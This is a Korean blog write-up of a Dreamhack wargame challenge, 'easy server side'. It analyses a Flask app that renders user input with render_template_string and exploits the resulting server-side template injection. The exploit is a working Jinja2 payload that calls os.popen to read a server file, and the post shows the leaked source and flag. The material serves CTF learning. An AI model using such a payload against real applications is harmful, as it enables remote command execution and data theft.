easy server side

2026. 2. 3. 19:53·Dreamhack 워게임/Lv.1
반응형

문제 설명

server side를 연습해봐요!


코드 분석

usr / app.py

@app.route('/', methods=['GET', 'POST'])
def index():
    if request.method == 'POST':
        user_input = request.form.get('input', '')
        template = f'''
        <h1>Output:</h1>
        {{ {{% raw %}} {{ {user_input} }} {{% endraw %}} }}
        <form method="POST">
            Input: <input type="text" name="input" value="{user_input}">
            <input type="submit" value="Render">
        </form>
        '''
        return render_template_string(template, config=app.config)
    return '''
    <form method="POST">
        Input: <input type="text" name="input">
        <input type="submit" value="Render">
    </form>
    '''
  • user_input은 이용자로부터 입력받음
  • 입력한 값이 그대로 다시 input에 출력됨
  • 입력값에 대한 검증/필터링하지 않고 그대로 템플릿에 넣는다.

admin / admin.py

@app.route('/auth', methods=['POST'])
def auth():
    data = request.get_json() or request.form.to_dict()
    if data.get('user') == 'admin' and data.get('pass') == 'admin':
        return {'success': True, 'flag': FLAG}
    return {'error': 'Invalid'}
  • JSON 바디가 있으면 그걸 쓰고, 없으면 폼 데이터(POST form)를 딕셔너리로 받음
  • user랑 pass가 admin이면 통과하고 FLAG 반환

취약점 분석

  • 입력 값 검증을 안 함 SSTI 가능성
    사용자 입력(user_input)을 템플릿 문자열에 직접 삽입하고 render_template_string으로 렌더링함

익스플로잇

먼저 SSTI 가능한지 {{7*7}}을 삽입해 봄

49가 입력값에 출력되는 것을 보니 SSTI 가능

따라서 아래와 같이 입력해 줌

{{ cycler.__init__.__globals__.os.popen('cat admin/admin.py').read() }}

 

from flask import Flask, requestapp = Flask('internal')
FLAG = "DH{1f3fa07521dafa1798ed4f66baf7187118a898df0b367e2784967f076eadf3a2}"
@app.route('/auth', methods=['POST'])
def auth():    
data = request.get_json() or request.form.to_dict()    
if data.get('user') == 'admin' and data.get('pass') == 'admin':        
return {'success': True, 'flag': FLAG}    
return {'error': 'Invalid'}if __name__ == '__main__':    app.run(host='127.0.0.1', port=5001, debug=False)

플래그 획득

반응형

'Dreamhack 워게임 > Lv.1' 카테고리의 다른 글

error based sql injection  (0) 2026.02.03
easy client side  (0) 2026.02.03
php-1  (0) 2026.02.02
image-storage  (0) 2026.02.02
simple-ssti  (0) 2026.01.30
'Dreamhack 워게임/Lv.1' 카테고리의 다른 글
  • error based sql injection
  • easy client side
  • php-1
  • image-storage
y3onbug5
y3onbug5
y3onbug5 님의 블로그 입니다.
  • y3onbug5
    y3onbug5 님의 블로그
    y3onbug5
  • 전체
    오늘
    어제
    • 분류 전체보기 (167) N
      • Alpacahack (19) N
      • Dreamhack 워게임 (49)
        • Lv.1 (40)
        • Lv.0 (4)
        • LV.2 (3)
        • LV.3 (2)
      • [Dreamhack] Web Beginner (3)
      • [Dreamhack] Web Hacking (17)
        • 웹 기초 지식 (4)
        • Cookie & Session (2)
        • Cross-Site Scripting(XSS) (1)
        • Cross-Site Request Forgery (1)
        • SQL Injection (4)
        • NoSQL Injection (2)
        • Command Injection (1)
        • File Vulnerability (1)
        • Server-Side Request Forgery (1)
      • [Dreamhack] Web Hacking Client-Side (10)
        • XSS Filtering Bypass (2)
        • Content Security Policy (CSP) (2)
        • CSRF,CORS Bypass (2)
        • Client-Side Template Injection (CSTI) (1)
        • CSS Injection (1)
        • Relative Path Overwrite (RPO) (1)
        • DOM Vulnerability (1)
      • [Dreamhack] Web Hacking Server-Side (15)
        • SQL Injection Advanced (4)
        • SQL Injection Advanced - Fingerprinting (2)
        • NoSQL Injection Advanced (3)
        • Command Injection Advanced - Web Servers (3)
        • File Vulnerability Advanced - Web Server (3)
      • [Dreamhack]Black-Box Penetration Testing (15)
        • DreamCommunity Penetration Testing (11)
      • [Dreamhack] LLM (2)
        • [Dreamhack] LLM과 프롬프트 엔지니어링 (2)
      • Web 공부 (4)
      • Web Study (15)
      • JavaScript (17)
        • 기초 (12)
        • 중급 (4)
      • 웹 개발(Flask) (0)
      • [Security First] web 기초교육 (1) N
  • 블로그 메뉴

    • 홈
    • 태그
    • 방명록
  • 링크

  • 공지사항

  • 인기 글

  • 태그

    webhacking
    hacking
    alpacahack
    cve
    JS
    web
    CSRF
    JavaScript
    LLM
    webstudy
    DreamHack
    xss
    드림핵
  • 최근 댓글

  • 최근 글

  • hELLO· Designed By정상우.v4.10.5
y3onbug5
easy server side
상단으로

티스토리툴바